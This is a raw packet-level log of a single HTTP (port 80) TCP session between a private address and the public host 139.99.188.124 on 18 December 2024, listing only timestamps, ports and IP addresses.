Dec 18, 2024 09:13:14.148186922 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.150141954 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.156435013 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.156593084 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.157187939 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.164829016 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.164941072 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.166420937 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.295455933 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.295495987 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.296570063 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.298065901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.299079895 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.299211979 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.300142050 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.304526091 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.304634094 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.304714918 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.310043097 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.310107946 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.310161114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.315411091 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.315480947 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.315531015 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.320833921 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.320933104 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.320945024 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.326297045 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.326342106 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.326400042 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.331758022 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.331808090 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.331840992 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.337147951 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.337415934 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.337747097 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.342627048 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.342737913 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.342808962 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.348129034 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.348197937 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.348217964 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.353514910 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.353648901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.354919910 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.358932972 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.359074116 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.362129927 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.364342928 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.364479065 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.366122961 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.369872093 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.370044947 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.370117903 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.375248909 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.375435114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.376435041 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.380649090 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.380733013 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.380810976 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.386110067 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.386277914 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.386508942 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.391546011 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.394489050 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.504801989 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.504853964 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.504987955 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.506045103 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.506139994 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.506206036 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.510212898 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.510421038 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.510488987 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.514276981 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.514394999 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.514533043 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.518395901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.518573046 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.520114899 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.522367001 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.522505045 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.523968935 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.526262999 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.526343107 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.527240038 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.530277967 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.530374050 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.532113075 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.534287930 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.534377098 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.534960032 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.538208008 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.538331032 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.538450003 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.542390108 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.542452097 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.542838097 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.546243906 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.546303988 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.550250053 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.550306082 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.550364971 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.550411940 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.554207087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.554260015 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.554574966 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.558207035 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.558382034 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.558429003 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.562217951 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.562372923 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.562438965 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.566392899 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.566466093 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.566643953 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.570168972 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.570219994 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.570452929 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.574259996 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.574314117 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.574367046 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.578178883 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.578375101 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.579413891 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.582145929 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.582242966 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.582468987 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.586111069 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.586210012 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.586656094 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.590116024 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.590179920 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.590240955 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.594088078 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.594336033 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.594402075 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.598069906 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.598160982 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.598381042 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.602052927 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.602173090 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.602305889 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.606007099 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.606141090 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.606350899 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.610106945 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.610202074 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.610429049 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.614027977 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.614175081 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.614368916 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.617974997 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.618130922 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.618269920 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.621978998 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.622189045 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.622284889 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.625972033 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.653995991 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.714093924 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.714189053 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.714220047 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.715538979 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.715619087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.715652943 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.718528986 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.718916893 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.719602108 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.719700098 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.719763041 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.722567081 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.722630978 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.722688913 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.725629091 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.725696087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.725874901 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.728399038 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.728504896 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.728626966 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.731256008 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.731400967 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.731528044 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.734338045 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.734402895 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.734620094 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.736836910 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.736993074 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.737056017 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.739559889 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.739670992 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.739753008 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.742244005 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.742382050 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.742607117 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.745003939 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.745057106 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.745155096 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.747622013 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.747868061 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.747940063 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.750247955 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.750299931 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.750382900 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.752805948 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.752890110 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.752959967 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.755433083 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.755503893 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.755742073 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.758043051 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.758188963 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.758373022 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.760622978 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.760746002 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.760816097 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.763269901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.763370037 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.763452053 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.765786886 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.766079903 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.766143084 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.768415928 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.768606901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.768673897 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.771011114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.771171093 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.771291971 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.773610115 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.773699045 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.773824930 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.776258945 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.776304960 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.776421070 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.778815031 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.778923035 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.779087067 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.781418085 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.781505108 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.781608105 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.783997059 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.784116030 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.784276009 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.786586046 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.786808968 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.786864996 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.789208889 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.789263010 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.789323092 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.791840076 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.791874886 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.791939974 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.794477940 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.794523954 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.794609070 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.797002077 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.797107935 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.797245979 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.799689054 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.799715996 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.799773932 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.802349091 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.802387953 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.802673101 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.804850101 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.804913998 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.804964066 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.807439089 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.807554007 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.807730913 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.810045958 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.810152054 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.810390949 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.812616110 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.812743902 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.812803984 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.815228939 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.815412045 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.815504074 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.817873001 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.817972898 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.818030119 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.820468903 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.820544004 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.820605040 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.823059082 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.823173046 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.823250055 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.825635910 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.825726032 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.825783014 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.828231096 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.828326941 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.828386068 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.830846071 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.830970049 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.831104994 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.833537102 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.833653927 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.833843946 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.836039066 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.836103916 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.836429119 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.838684082 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.838799953 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.838861942 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.841478109 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.841563940 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.841626883 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.843858957 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.843947887 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.844005108 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.846451998 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.846595049 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.846682072 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.849036932 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.849169016 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.849253893 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.851757050 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.851813078 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.851881027 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.854228973 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.923727989 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.923800945 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.923842907 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.924645901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.924700022 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.924721956 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.926459074 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.926513910 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.926564932 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.928196907 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.928261042 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.928296089 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.929929018 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.929992914 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.930057049 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.932019949 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.932087898 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.932137966 CET	49716	80	192.168.2.5	139.99.188.124
